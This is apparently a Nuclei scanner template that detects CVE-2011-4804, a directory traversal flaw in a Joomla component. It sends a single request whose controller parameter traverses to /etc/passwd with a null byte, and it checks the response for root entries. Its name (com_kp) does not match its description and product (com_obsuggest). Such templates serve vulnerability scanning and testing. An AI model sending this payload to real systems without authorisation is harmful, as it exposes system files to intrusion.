id: CVE-2011-4804

info:
  name: Joomla! Component com_kp - 'Controller' Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the obSuggest (com_obsuggest) component before 1.8 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    The vulnerability allows an attacker to include arbitrary local files, leading to unauthorized access to sensitive information or remote code execution.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/36598
    - https://nvd.nist.gov/vuln/detail/CVE-2011-4804
    - http://foobla.com/news/latest/obsuggest-1.8-security-release.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2011-4804
    cwe-id: CWE-22
    epss-score: 0.21523
    epss-percentile: 0.97372
    cpe: cpe:2.3:a:foobla:com_obsuggest:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: foobla
    product: com_obsuggest
  tags: cve,cve2011,lfi,edb,joomla,foobla,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_kp&controller=../../../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100a83468e6bfc507e33f870fcaa2b885bcd64e7e7d04363c5f09e2c2f57de4acec0220110e892f6e1aef2e24153310c38cf55646ceb61873232278f9eed9f13a6ac421:922c64590222798bb761d5b6d8e72950